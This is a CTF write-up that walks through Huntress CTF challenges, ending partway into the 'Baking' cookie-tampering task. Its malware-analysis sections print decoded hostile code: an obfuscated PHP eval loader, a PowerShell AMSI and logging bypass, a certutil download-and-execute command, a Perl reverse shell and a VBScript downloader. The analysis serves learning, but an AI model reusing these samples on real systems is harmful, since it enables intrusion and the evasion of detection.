CTF: Huntress CTF
Huntress Writeup
Each challenges successfully solved will be explained here. The solution will not only be put in writing but also the way of thinking and failed tries will be described.
Unfortunately, took too long to write it (didn’t took note …) so wasn’t able to re-do all the challenges before the server shutdown.
Read The Rules
This challenge is pretty straight forward. Read the rules using the view-source utility and you will find a commented html line with the flag.
flag: flag{90bc54705794a62015369fd8e86e557b}
Notepad
To solve this challenge we will first check what’s file we have using the file command.
We can see that the file contains UTF-8 Unicode text:
We can just go ahead an cat the file, here goes the flag.
flag: flag{2dd41e3da37ef1238954d8e7f3217cd8}
Technical Support
You just need to join the discord and you will have a flag in the technical support channel.
flag: flag{a98373a74abb8c5ebb8f5192e034a91c}
String Cheese
We will start by checking if the file is a real png or not. Do to so we will be using the “file” command.
When opening the file, we are not able to see anything appear from the png.
From there we will be looking at the strings inside the png flag to check for hidden data:
Got it. Flags was hidden in the PNG file data.
flag: flag{f4d9f0f70bf353f2ca23d81dcf7c9099}
Query Code
As always we will start by checking what’s the file data are using “file” command.
So the file looks to be a PNG file.
We will move ahead by renaming the query_code
to query_code.png
and open it.
We are presented with a QRCode.
Moving through and checking the QRCode value, a text that appears to be the flag was the content of it:
flag: flag{3434cf5dc6a865657ea1ec1cb675ce3b}
Zerion
We are presented with a PHP file that seems to be obfuscated. This file contains two parts. The first part is a PHP code and the second part is a long string that looks like a reverse base64.
<?php $L66Rgr=explode(base64_decode("Pz4="),file_get_contents(__FILE__)); $L6CRgr=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($L66Rgr[1]))));$L7CRgr = "d6d666e70e43a3aeaec1be01341d9f9d";preg_replace($L6CRgr[0],serialize(eval($L6CRgr[2])),$L6CRgr[1]);exit();?>==Dstfmoz5JnxNvolIUqyWUV7xFXa0lWtbQVaD1Wt8QVcNQZlNQrjNvWtZKolITpxtPXtbQVcNlW4qPV6NlW0qPV/NFXjNwZjtUZtLPVm1zpyOUWbtPV/NFXkNQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlW3qPV/NFXlNQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlWlqPV/NFX0NQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xFXa0lWtbQVaZ1Wt8QVcNQZ0NQrjNvWtZKolITpxtPXtbQVcNlW4qPV6NlWmqPV/NFXjNQAjtUZtLPVm1zpyOUWbtPV/NFX4NQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlW3qPV/NFXjRQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlWlqPV/
[...]
Reformating this code it produce a decoding routine.
<?php
$payload=explode(base64_decode("Pz4="),file_get_contents(__FILE__)); #get the variable by reading the file content and splitting on "?>"
$payload=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($payload[1])))); #payload[1] is corresponding to the long string and his decode using the routine : ROT13 -> Reverse -> B64 decode
$L7CRgr = "d6d666e70e43a3aeaec1be01341d9f9d";
preg_replace($payload[0],serialize(eval($payload[2])),$payload[1]); #replacing the php code after execution
exit();
?>
By using Cyberchef we are able to replicate the routine and get the executed payload.
function GC($a)
{
$url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;}
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.-wic5-.com/'); if(!$code){$code = GC('https://c.-oiv3-.com/?flag=flag{af10370d485952897d5183aa09e19883}
');}$need =
[...]
And we can identify the flag.
flag: flag{af10370d485952897d5183aa09e19883}
Book By Its Cover
We are presented with a file that have a .rar
extention.
As always verify the file type with the file
command.
It appears to be a PNG and not a RAR so we will go ahead and rename it.
Opening it we can see that it’s in fact a PNG and more than that the flag !
flag: flag{f8d32a346745a6c4bf4e9504ba5308f0}
HumanTwo
We are presented with a zip file that contains lot of webshells.
In the chall introduction we can see that we need to spot the difference in the different files.
So starting from there we will unzip ressources and perform a diff on it.
To perform the diff we will use the following command :
for i in ./*; do diff "$i" 0019de2359fe758b0c7cd04c361dfbb798a1d897f3e67de3756645b423dbfe3f; done
We spot a line that looks different that the others :
Analysing the found line (if (!String.Equals(pass, "666c6167-7b36-6365-3666-366131356464"+"64623065-6262-3333-3262-666166326230"+"62383564-317d-0000-0000-000000000000"))
) we can spot a guid looking like an Hex string.
Moving from there, you can use cyberchef to decode it as shown below:
And here is the flag !
flag: flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}
Hot Off The Press
The given file does have an extension but the challenge introduction specify an archive password. So we will go ahead and identify the file type and rename it accordingly.
Using WinUHA we can extract the content of it and find a powershell script.
The powershell file contains obfuscated command lines that we will need to decode.
Original:
C:\Windows\SysWOW64\cmd.exe /c powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c $x_wa3=((''Sc''+''{2}i''+''pt{1}loc{0}Logg''+''in''+''g'')-f''k'',''B'',''r'');If($PSVersionTable.PSVersion.Major -ge 3){ $sw=((''E''+''nable{3}''+''c{''+''1}''+''ip{0}Bloc{2}Logging''+'''')-f''t'',''r'',''k'',''S''); $p8=[Collections.Generic.Dictionary[string,System.Object]]::new(); $gG0=((''Ena''+''ble{2}c{5}i{3}t{''+''4}loc''+''{0}{1}''+''nv''+''o''+''cationLoggi''+''ng'')-f''k'',''I'',''S'',''p'',''B'',''r''); $jXZ4D=[Ref].Assembly.GetType(((''{0}y''+''s''+''tem.{1}a''+''n''+''a{4}ement.A{5}t''+''omati''+''on.{2''+''}ti{3}s'')-f''S'',''M'',''U'',''l'',''g'',''u'')); $plhF=[Ref].Assembly.GetType(((''{''+''6}{''+''5}stem.''+''{''+''3''+''}{9}''+''n{9}{''+''2}ement''+''.{''+''8}{''+''4}t{''+''7''+''}''+''m{9}ti{7}n''+''.''+''{8''+''}''+''m''+''si{0''+''}ti{''+''1}s'')-f''U'',''l'',''g'',''M'',''u'',''y'',''S'',''o'',''A'',''a'')); if ($plhF) { $plhF.GetField(((''''+''a{''+''0}''+''si{4}''+''nit{''+''1}''+''ai''+''l{2}{''+''3}'')-f''m'',''F'',''e'',''d'',''I''),''NonPublic,Static'').SetValue($null,$true); }; $lCj=$jXZ4D.GetField(''cachedGroupPolicySettings'',''NonPublic,Static''); If ($lCj) { $a938=$lCj.GetValue($null); If($a938[$x_wa3]){ $a938[$x_wa3][$sw]=0; $a938[$x_wa3][$gG0]=0; } $p8.Add($gG0,0); $p8.Add($sw,0); $a938[''HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\''+$x_wa3]=$p8; } Else { [Ref].Assembly.GetType(((''S{2}{3}''+''t''+''em''+''.Mana''+''ge''+''ment.{''+''5}{4}to''+''mation.Scr''+''ipt{1}loc{0}'')-f''k'',''B'',''y'',''s'',''u'',''A'')).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sI''+''AIeJ''+''G2UC/+1X''+''bU/jOBD+3l9hrS''+''IlkU{0}''+''VFvb{1}IiFdWqD''+''bPRJKS8vR''+''brUKy''+''TR168TFcQplb//7''+''jfNSygJ73{1}lI94F''+''IVvwyMx4/M''+''7YfT9PYl5TH''+''hH7sku8VUnxd''+''T3gRMTT/ku''+''/fWUSjS3Mzp''
[...]
We will only decrypt the interesting part with is the Base64 string passed to the GzipStream function. Using CyberChef we are able to reproduce the decryption routine :
We are presented with a new code snippet containing a new Base 64 to decode:
[...]
[Byte[]]$nLQ2k = [System.Convert]::FromBase64String("ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNlcnR1dGlsIC11cmxjYWNoZSAtZiBodHRwOi8vLjEwMy4xNjMuMTg3LjEyOjgwODAvP2VuY29kZWRfZmxhZz0lNjYlNmMlNjElNjclN2IlNjQlNjIlNjYlNjUlMzUlNjYlMzclMzUlMzUlNjElMzglMzklMzglNjMlNjUlMzUlNjYlMzIlMzAlMzglMzglNjIlMzAlMzglMzklMzIlMzglMzUlMzAlNjIlNjYlMzclN2QgJVRFTVAlXGYgJiBzdGFydCAvQiAlVEVNUCVcZg==")
[Uint32]$fal3 = 0
$lc98 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll VirtualAlloc), (ma1_D @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $nLQ2k.Length,0x3000, 0x04)
[...]
The string extracted from that base64 is a powershell command : certutil -urlcache -f http://.103.163.187.12:8080/?encoded_flag=%66%6c%61%67%7b%64%62%66%65%35%66%37%35%35%61%38%39%38%63%65%35%66%32%30%38%38%62%30%38%39%32%38%35%30%62%66%37%7d %TEMP%\f & start /B %TEMP%\f
.
The URL decoding of the parameter provide us with the flag !
flag: flag{dbfe5f755a898ce5f2088b0892850bf7}
BaseFFFF+1
This chall was one of the most rabitholish of this CTF. The solution is pretty simple but overthinking these chall is also pretty easy.
We are presented with an encoded string :
鹎驣𔔠𓁯噫谠啥鹭鵧啴陨驶𒄠陬驹啤鹷鵴𓈠𒁯ꔠ𐙡啹院驳啳驨驲挮售𖠰筆筆鸠啳樶栵愵欠樵樳昫鸠啳樶栵嘶谠ꍥ啬𐙡𔕹𖥡唬驨驲鸠啳𒁹𓁵鬠陬潧㸍㸍ꍦ鱡汻欱靡驣洸鬰渰汢饣汣根騸饤杦样椶𠌸
.
Everything has been tried, custom base creation, changing known base decoding alphabet, etc …
But the solution is just to read the title and understand it. BaseFFFF+1 is basically FFFF in hex which is equal to 65535 +1, that’s equal to 65536. So we get Base65536 which is apparently a known base.
Decoding it with a random online website we get the flag!
flag: flag{716abce880f09b7cdc7938eddf273648}
Traffic
This challenge wasn’t the solve the inteded way but it is what it is.
We know that we are looking for a “sketchy site”. So we will go ahead and extract all the data.
Then the cheat happen, just strings file and grep for sketchy
.
So we’ve got an intersting domain sketchysite.github.io
, which by visiting it give the flag.
flag: flag{8626fe7dcd8d412a80d0b3f0e36afd4a}
CaesarMirror
The chall introduction gives us the hint to look for ROT13
.
We have as material the following text:
Bu obl! Jbj, guvf jnezhc punyyratr fher bf V !erugrtbg ghc bg ahs sb gby n fnj
qrsvavgryl nofbyhgryl nyjnlf ybir gelvat ftavug rivgnibaav qan jra ch xavug bg
gb qb jvgu gur irel onfvp, pbzzba naq sb genc gfevs ruG !frhdvauprg SGP pvffnyp
lbhe synt vf synt{whyvhf_ naq gung vf n tavuglerir gba fv gv gho gengf gnret
gung lbh jvyy arrq gb fbyir guvf punyyratr. qan rqvu bg tavleg rxvy g'abq V
frcnengr rnpu cneg bs gur synt. Gur frpbaq bq hbl gho _n_av fv tnys rug sb genc
arrq whfg n yvggyr ovg zber. Jung rknpgyl rxnz qan leg bg reru rqhypav rj qyhbuf
guvf svyyre grkg ybbx zber ratntvat naq ?fravyjra qqn rj qyhbuF ?ryvujugebj
Fubhyq jr nqq fcnprf naq gel naq znxr vg uthbar fv fravy lanz jbU ?ynpvegrzzlf
gb znxr guvf svyyre grkg ybbx oryvrinoyr? N n avugvj ferggry sb renhdf qvybf
fvzcyr, zbabfcnpr-sbag grkg svyr ybbxf tbbq rug gn gfbzyn rj reN .rz bg uthbar
raq? Vg ybbxf yvxr vg! V ubcr vg vf tbbq. }abvgprysre fv tnys ehbl sb genc qevug ruG
naq ng guvf cbvag lbh fubhyq unir rirelguvat ebs tnys fvug gvzohf bg qrra hbl gnug
cbvagf. Gur ortvaavat vf znexrq jvgu gur ,rpneo lyehp tavarcb rug qan kvsrec tnys
naq vg vapyhqrf Ratyvfu jbeqf frcnengrq ol lyehp tavfbyp n av qar bg ,frebpferqah
oenpr. Jbj! Abj GUNG vf n PGS! Jub xarj jr fvug bg erucvp enfrnp rug xyvz qyhbp
rkgrag?? Fbzrbar trg gung Whyvhf !ynqrz n lht enfrnP
Doing a ROT 13 translation gives us the decrypted text for the left part:
Oh boy! Wow, this warmup challenge sure os I !rehtegot tup ot nuf fo tol a saw
definitely absolutely always love trying sgniht evitavonni dna wen pu kniht ot
to do with the very basic, common and fo trap tsrif ehT !seuqinhcet FTC cissalc
your flag is flag{julius_ and that is a gnihtyreve ton si ti tub trats taerg
that you will need to solve this challenge. dna edih ot gniyrt ekil t'nod I
separate each part of the flag. The second od uoy tub _a_ni si galf eht fo trap
need just a little bit more. What exactly ekam dna yrt ot ereh edulcni ew dluohs
this filler text look more engaging and ?senilwen dda ew dluohS ?elihwhtrow
Should we add spaces and try and make it hguone si senil ynam woH ?lacirtemmys
to make this filler text look believable? A a nihtiw srettel fo erauqs dilos
simple, monospace-font text file looks good eht ta tsomla ew erA .em ot hguone
end? It looks like it! I hope it is good. }noitcelfer si galf ruoy fo trap driht ehT
and at this point you should have everything rof galf siht timbus ot deen uoy taht
points. The beginning is marked with the ,ecarb ylruc gninepo eht dna xiferp galf
and it includes English words separated by ylruc gnisolc a ni dne ot ,serocsrednu
brace. Wow! Now THAT is a CTF! Who knew we siht ot rehpic raseac eht klim dluoc
extent?? Someone get that Julius !ladem a yug raseaC
Obvserving the resulting right part we can identify that the sentence are reversed and in the wrong order. Re-formating it give us the following:
Caesar guy a medal! suiluJ taht teg enoemoS ??tnetxe
could milk the caesar cipher to this ew wenk ohW !FTC a si TAHT woN !woW .ecarb
underscores, to end in a closing curly yb detarapes sdrow hsilgnE sedulcni ti dna
flag prefix and the opening curly brace, eht htiw dekram si gninnigeb ehT .stniop
that you need to submit this flag for gnihtyreve evah dluohs uoy tniop siht ta dna
The third part of your flag is reflection} .doog si ti epoh I !ti ekil skool tI ?dne
enough to me. Are we almost at the doog skool elif txet tnof-ecapsonom ,elpmis
solid square of letters within a A ?elbaveileb kool txet rellif siht ekam ot
symmetrical? How many lines is enough ti ekam dna yrt dna secaps dda ew dluohS
worthwhile? Should we add newlines? dna gnigagne erom kool txet rellif siht
should we include here to try and make yltcaxe tahW .erom tib elttil a tsuj deen
part of the flag is in_a_ but you do dnoces ehT .galf eht fo trap hcae etarapes
I don't like trying to hide and .egnellahc siht evlos ot deen lliw uoy taht
great start but it is not everything a si taht dna _suiluj{galf si galf ruoy
classic CTF techniques! The first part of dna nommoc ,cisab yrev eht htiw od ot
to think up new and innovative things gniyrt evol syawla yletulosba yletinifed
was a lot of fun to put together! I so erus egnellahc pumraw siht ,woW !yob hO
By combining the two previous text we are getting the following final text:
Oh boy! Wow, this warmup challenge sure Caesar guy a medal!
definitely absolutely always love trying could milk the caesar cipher to this
to do with the very basic, common and underscores, to end in a closing curly
your flag is flag{julius_ and that is a flag prefix and the opening curly brace,
that you will need to solve this challenge. that you need to submit this flag for
separate each part of the flag. The second The third part of your flag is reflection}
need just a little bit more. What exactly enough to me. Are we almost at the
this filler text look more engaging and solid square of letters within a
Should we add spaces and try and make it symmetrical? How many lines is enough
to make this filler text look believable? A worthwhile? Should we add newlines?
simple, monospace-font text file looks good should we include here to try and make
end? It looks like it! I hope it is good. part of the flag is in_a_ but you do
and at this point you should have everything I don't like trying to hide and
points. The beginning is marked with the great start but it is not everything
and it includes English words separated by classic CTF techniques! The first part of
brace. Wow! Now THAT is a CTF! Who knew we to think up new and innovative things
extent?? Someone get that Julius was a lot of fun to put together! I so
From there we can extract the flag !
flag: flag{julius_in_a_reflection}
I Wont Let You Down
For this challenge we are provided with an URL : http://155.138.162.158
.
Visiting this website we get a video running a quite taunting popular song.
When this chall was released, some issue where seen on the instance, and a lot of incoherence has been seen, so we will only consider the things done in the stable part of the chall.
Doing an nmap, we can find some open ports (nmap is allowed for this chall only).
Nmap scan report for 155.138.162.158.vultrusercontent.com (155.138.162.158)
Host is up (0.14s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8888/tcp open sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 15.86 seconds
The SSH might be for Huntress staff to administrate the server, the port 80 is for the web service but the 8888 is quite surprising.
Looking into it with telnet, got some nice lyrics and the flag !
flag: flag{93671c2c38ee872508770361ace37b02}
PHP Stagger
The challenge is to analyze a php file containing a base64 and a piece of code. The piece of code looks like that :
<?php
function deGRi($wyB6B, $w3Q12 = '') { $zZ096 = $wyB6B; $pCLb8 = ''; for ($fMp3G = 0; $fMp3G < strlen($zZ096);) { for ($oxWol = 0; $oxWol < strlen($w3Q12) && $fMp3G < strlen($zZ096); $oxWol++, $fMp3G++) { $pCLb8 .= $zZ096[$fMp3G] ^ $w3Q12[$oxWol]; } } return $pCLb8; }
/*iNsGNGYwlzdJjfaQJIGRtTokpZOTeLzrQnnBdsvXYlQCeCPPBElJTcuHmhkJjFXmRHApOYlqePWotTXHMuiuNfUYCjZsItPbmUiXSxvEEovUceztrezYbaOileiVBabK*/
$lBuAnNeu5282 = ")o4la2cih1kp97rmt*x5dw38b(sfy6;envguz_jq/.0";
$gbaylYLd6204 = "LmQ9AT8aND16c2AcMh0lCS9BDFtTATklDzAoARAJCkl+NwQuLTE[...]"
$fsPwhnfn8423 = "";
$oZjuNUpA325 = "";
foreach([24,4,26,31,29,2,37,20,31,6,1,20,31] as $k){
$fsPwhnfn8423 .= $lBuAnNeu5282[$k];
}
foreach([26,16,14,14,31,33] as $k){
$oZjuNUpA325 .= $lBuAnNeu5282[$k];
}
/*aajypPZLxFoueiuYpHkwIQbmoSLrNBGmiaDTgcWLKRANAfJxGeoOIzIjLBHHsVEHKTrhqhmFqWgapWrPsuMYcbIZBcXQrjWWEGzoUgWsqUfgyHtbwEDdQxcJKxGTJqIe*/
$k = $oZjuNUpA325('n'.''.''.'o'.''.''.'i'.''.'t'.''.'c'.''.'n'.''.'u'.'f'.''.''.''.''.'_'.''.''.''.'e'.''.'t'.''.'a'.''.'e'.''.''.''.''.'r'.''.''.''.''.'c');
$c = $k("/*XAjqgQvv4067*/", $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")));
$c();
/*TnaqRZZZJMyfalOgUHObXMPnnMIQvrNgBNUkiLwzwxlYWIDfMEsSyVVKkUfFBllcCgiYSrnTCcqLlZMXXuqDsYwbAVUpaZeRXtQGWQwhcAQrUknJCeHiFTpljQdRSGpz*/
Putting the code in order looks like:
<?php
function xorFunction($string, $key='') {
$text = $string;
$outText = '';
for($i=0; $i<strlen($text); )
{
for($j=0; ($j<strlen($key) && $i<strlen($text)); $j++,$i++)
{
$outText .= $text{$i} ^ $key{$j};
}
}
return $outText;
}
$encodedString = "LmQ9AT8aND16c2AcMh0lCS9BDFtTATklDzAoARAJCkl+NwQuLTE[...]"
$c = create_function("/*XAjqgQvv4067*/", base64_decode(xorFunction(base64_decode($encodedString), "tVEwfwrN302")));
$c();
Creating this routine in CyberChef gives us the code of an php served web page. Only the last part is interesting:
[...]
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRpYWRkcj1pbmV0X2F0b24oJEFSR1ZbMF0pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKbXkgJHN0ciA9IDw8RU5EOwpiZWdpbiA2NDQgdXVlbmNvZGUudXUKRjlGUUE5V0xZOEM1Qy0jLFEsVjBRLENEVS4jLFUtJilFLUMoWC0mOUM5IzhTOSYwUi1HVGAKYAplbmQKRU5ECnN5c3RlbSgnL2Jpbi9zaCAtaSAtYyAiZWNobyAke3N0cmluZ307IGJhc2giJyk7CmNsb3NlKFNURElOKTsKY2xvc2UoU1RET1VUKTsKY2xvc2UoU1RERVJSKQ==";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
[...]
By decoding the base64 we get two pieces of code, the most interesting one is this one :
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
my $str = <<END;
begin 644 uuencode.uu
F9FQA9WLY8C5C-#,Q,V0Q,CDU.#,U-&)E-C(X-&9C9#8S9&0R-GT`
`
end
END
system('/bin/sh -i -c "echo ${string}; bash"');
close(STDIN);
close(STDOUT);
close(STDERR)
In there we can see a uuencoded strings that we need to decode and here is the flag !
flag: flag{9b5c4313d12958354be6284fcd63dd26}
Dialtone
We are provided with a wav file looking like dialtones in a phone. Using dtmf we are able to extract the corresponding string.
This looks like a long that we need to convert to strings.
We can use the following code snippet :
from Crypto.Util.number import long_to_bytes
data = 13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573
bytes = long_to_bytes(data)
print(bytes)
That return the flag !
flag: flag{6c733ef09bc4f2a4313ff63087e25d67}
Layered Security
Using the file
command we are seing that the file is in fact a GIMP file.
Opening it in GIMP give us multiple images and on one of them display the flag.
flag: flag{9a64bc4a390cb0ce31452820ee562c3f}
Backdoored Splunk
For this challenge we had two materials provided: a website and a zip file.
Inside the zip we can see the code of a splunk agent for windows machine. When navigating to the website, the following message was deplayed :
Giving the fact that it requires an Authorization header and that we have sources maybe we can find the token inside it. Using grep on the files, we find the appropriate token.
Using this token with curl we can just access the website and get a base64 string.
This base64 is in fact the flag !
flag: flag{60bb3bfaf703e0fa36730ab70e115bd7}
Dumpster Fire
We are presented with a linux file system.
Dumping the passwd
file we can spot a user named Challenge
.
Navigating to it we can identify a mozilla repertory and nothing else interesing.
From there we can identify the profile and find the login.json file with encrypted credentials. Using a firefox decoder we can extract the corresponding password and have the flag !
flag: flag{35446041dc161cf5c9c325a3d28af3e3}
Comprezz
This chall is really straightforward. You just need to add the zip
extension to the given file and extract the content to read the flag !
flag: flag{196a71490b7b55c42bf443274f9ff42b}
Where am I?
This chall is not a real OSINT challenge so don’t go down that way. Analyzing the file properties we can find some base64 in the Title.
Decoding this base64 we get a flag !
flag: flag{b11a3f0ef4bc170ba9409c077355bba2)
Chicken Wings
For this chall we have a string composed by emojies.
The string is the following : ♐●♋♑❀♏📁🖮🖲📂♍♏⌛🖰♐🖮📂🖰📂🖰🖰♍📁🗏🖮🖰♌📂♍📁♋🗏♌♎♍🖲♏❝
Typing google ’emoji to text decode’, we were able to find the following website.
Using this website, the decoding goes good and got the flag !
flag: flag{e0791ce68f718188c0378b1c0a3bdc9e}
Wimble
This challenge start with a ZIP file. Extracting the content we find a Windows Imaging file.
Extracting it got the PF files that we need to analyze as we will do in forensic thing (after all that’s a blue team oriented CTF).
Using PECmd we are able to analyze those PF files. Greping to the output searching for flag we are able to get it.
flag: flag{97f33c9783c21df85d79d613b0b258bd}
F12
This chall is the first chall with no resource and only a distant webserver.
We have a web page with a button calling the function ctf()
.
This function open a new window with a specific path :
function ctf() {
window.open("./capture_the_flag.html", 'Capture The Flag', 'width=400,height=100%,menu=no,toolbar=no,location=no,scrollbars=yes');
}
Accessing directly to the page we get the flag !
flag: flag{03e8ba07d1584c17e69ac95c341a2569}
VeeBeeEee
From the introduction we know that the downloaded file as something to do with wmiscripts.
Checking it we can actually see the magic bytes of VBE
files (#@~^
).
We will from there try to decode the content. To do so we will use the program done by one of the CTF author located in github.
I will not but the uncleaned code here to protect your eyes but here is a cleanup version :
Set Object = WScript.CreateObject("WScript.Shell")
Set SObject = CreateObject("Shell.Application")
Set FObject = CreateObject("Scripting.FileSystemObject")
SPath = WScript.ScriptFullName
Dim Code
Power = "PowerShell "
Path = "$f='C:\Users\Public\Documents\July.htm';"
Reqest = "if (!(Test-Path $f)){Invoke-WebRequest 'https://pastebin.com/raw/SiYGwwcz' -outfile $f };"
PathString = SObject.NameSpace(7).Self.Path "/" WScript.ScriptName
InvokeReqest = "[System.Reflection.Assembly]::loadfile($f);"
ExecAssem = "[WorkArea.Work]::Exe()"
CollectThenReplace Power , Path , Reqest , InvokeReqest , ExecAssem
Return = Object.Run(Code, 0, true)
WScript.Sleep(50000)
For i = 1 To 5
if i = 5 Then
Paste(SPath)
End if
Next
Sub Paste(RT)
FObject.CopyFile RT,PathString
End Sub
The code perform an request to a pastebin
then save the output to July.htm
in the public document folder and execute it.
Visiting the pastebin, the flag is the only content.
flag: flag{ed81d24958127a2adccfb343012cebff}
Baking
This challenge is using only a remote service.
By connecting to it, an oven is display with some recipes with long times to cook.
We can see a cookie in_oven
registered when we submit a recipe.
Decoding this cookie we obtain the following json: {"recipe": "Carrot Cake", "time": "10/11/2023, 15:07:08"}
.
So that means we have the hand on the recipe and the time that it has been submitted.
Moving from there we will try the Magic Cookie
recipe and set a very old date, encoding back to base64 and update the cookie.
